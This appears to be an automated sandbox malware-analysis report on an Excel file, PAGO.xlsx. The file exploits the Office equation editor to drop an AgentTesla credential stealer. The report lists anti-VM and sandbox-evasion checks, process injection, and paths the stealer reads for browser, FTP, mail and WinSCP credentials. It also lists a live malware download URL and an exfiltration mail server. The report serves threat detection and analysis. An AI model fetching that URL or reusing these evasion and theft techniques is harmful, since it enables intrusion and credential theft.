Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: PAGO.xlsx Stream path 'EncryptedPackage' entropy: 7.99945669212 (max. 8.0)

Malware Analysis System Evasion:

barindex
Yara detected AntiVM3
Source: Yara match File source: 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: vbc.exe PID: 912, type: MEMORY
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\Public\vbc.exe WMI Queries: IWbemServices::CreateInstanceEnum - Win32_BaseBoard
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Users\Public\vbc.exe WMI Queries: IWbemServices::CreateInstanceEnum - Win32_NetworkAdapterConfiguration
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp Binary or memory string: SBIEDLL.DLL
Contains functionality to detect virtual machines (SLDT)
Source: C:\Users\Public\vbc.exe Code function: 4_2_00F84CAE sldt word ptr [eax] 4_2_00F84CAE
Contains long sleeps (>= 3 min)
Source: C:\Users\Public\vbc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\Public\vbc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\Public\vbc.exe Window / User API: threadDelayed 9200 Jump to behavior
Source: C:\Users\Public\vbc.exe Window / User API: threadDelayed 546 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2592 Thread sleep time: -420000s >= -30000s Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 2904 Thread sleep time: -102988s >= -30000s Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 2472 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 2016 Thread sleep time: -300000s >= -30000s Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 1776 Thread sleep time: -11068046444225724s >= -30000s Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 1776 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 2404 Thread sleep count: 9200 > 30 Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 2404 Thread sleep count: 546 > 30 Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 1776 Thread sleep count: 83 > 30 Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Users\Public\vbc.exe WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\Public\vbc.exe WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\Public\vbc.exe Thread delayed: delay time: 102988 Jump to behavior
Source: C:\Users\Public\vbc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\Public\vbc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\Public\vbc.exe Thread delayed: delay time: 30000 Jump to behavior
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp Binary or memory string: vmware
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp Binary or memory string: VMware SVGA II!Add-MpPreference -ExclusionPath "
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp Binary or memory string: VMWARE
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp Binary or memory string: VMware SVGA II
Source: vbc.exe, 00000004.00000002.2169797974.00000000024AB000.00000004.00000001.sdmp Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: C:\Users\Public\vbc.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Enables debug privileges
Source: C:\Users\Public\vbc.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\Public\vbc.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Injects a PE file into a foreign processes
Source: C:\Users\Public\vbc.exe Memory written: C:\Users\Public\vbc.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe' Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe Jump to behavior
Source: vbc.exe, 00000005.00000002.2368995135.0000000001070000.00000002.00000001.sdmp Binary or memory string: Program Manager
Source: vbc.exe, 00000005.00000002.2368995135.0000000001070000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: vbc.exe, 00000005.00000002.2368995135.0000000001070000.00000002.00000001.sdmp Binary or memory string: !Progman

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\Public\vbc.exe Queries volume information: C:\Users\Public\vbc.exe VolumeInformation Jump to behavior
Source: C:\Users\Public\vbc.exe Queries volume information: C:\Users\Public\vbc.exe VolumeInformation Jump to behavior
Source: C:\Users\Public\vbc.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Users\Public\vbc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected AgentTesla
Source: Yara match File source: 00000005.00000002.2368346824.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2369104904.0000000002658000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2369032763.00000000025B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2170048529.000000000347C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: vbc.exe PID: 912, type: MEMORY
Source: Yara match File source: Process Memory Space: vbc.exe PID: 3048, type: MEMORY
Source: Yara match File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.351d880.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.351d880.4.raw.unpack, type: UNPACKEDPE
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Users\Public\vbc.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\Public\vbc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\Public\vbc.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\Public\vbc.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\ Jump to behavior
Source: C:\Users\Public\vbc.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Tries to steal Mail credentials (via file access)
Source: C:\Users\Public\vbc.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Users\Public\vbc.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Users\Public\vbc.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Users\Public\vbc.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000005.00000002.2369104904.0000000002658000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2369032763.00000000025B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: vbc.exe PID: 3048, type: MEMORY

Remote Access Functionality:

barindex
Yara detected AgentTesla
Source: Yara match File source: 00000005.00000002.2368346824.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2369104904.0000000002658000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2369032763.00000000025B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2170048529.000000000347C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: vbc.exe PID: 912, type: MEMORY
Source: Yara match File source: Process Memory Space: vbc.exe PID: 3048, type: MEMORY
Source: Yara match File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.351d880.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.351d880.4.raw.unpack, type: UNPACKEDPE
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 383929 Sample: PAGO.xlsx Startdate: 08/04/2021 Architecture: WINDOWS Score: 100 33 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->33 35 Multi AV Scanner detection for domain / URL 2->35 37 Found malware configuration 2->37 39 12 other signatures 2->39 7 EQNEDT32.EXE 13 2->7         started        12 EXCEL.EXE 174 53 2->12         started        process3 dnsIp4 29 wsdysuresbonescagegp.dns.army 103.153.76.181, 49166, 80 TWIDC-AS-APTWIDCLimitedHK unknown 7->29 31 is.gd 104.25.234.53, 443, 49165 CLOUDFLARENETUS United States 7->31 21 C:\Users\user\AppData\...\svchost[1].exe, PE32 7->21 dropped 23 C:\Users\Public\vbc.exe, PE32 7->23 dropped 49 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 7->49 14 vbc.exe 7->14         started        25 C:\Users\user\Desktop\~$PAGO.xlsx, data 12->25 dropped file5 signatures6 process7 signatures8 51 Multi AV Scanner detection for dropped file 14->51 53 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 14->53 55 Machine Learning detection for dropped file 14->55 57 2 other signatures 14->57 17 vbc.exe 2 14->17         started        process9 dnsIp10 27 smtp.lpsinvest.com 5.10.29.169, 49167, 587 EVEREST-ASGB United Kingdom 17->27 41 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 17->41 43 Tries to steal Mail credentials (via file access) 17->43 45 Tries to harvest and steal ftp login credentials 17->45 47 Tries to harvest and steal browser information (history, passwords, etc) 17->47 signatures11
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
5.10.29.169
 smtp.lpsinvest.com United Kingdom
60610 EVEREST-ASGB true
104.25.234.53
 is.gd United States
13335 CLOUDFLARENETUS false
103.153.76.181
 wsdysuresbonescagegp.dns.army unknown
134687 TWIDC-AS-APTWIDCLimitedHK true

Contacted Domains

Name IP Active
wsdysuresbonescagegp.dns.army 103.153.76.181 true
smtp.lpsinvest.com 5.10.29.169 true
is.gd 104.25.234.53 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://wsdysuresbonescagegp.dns.army/documenpt/svchost.exe true
  • Avira URL Cloud: malware
 unknown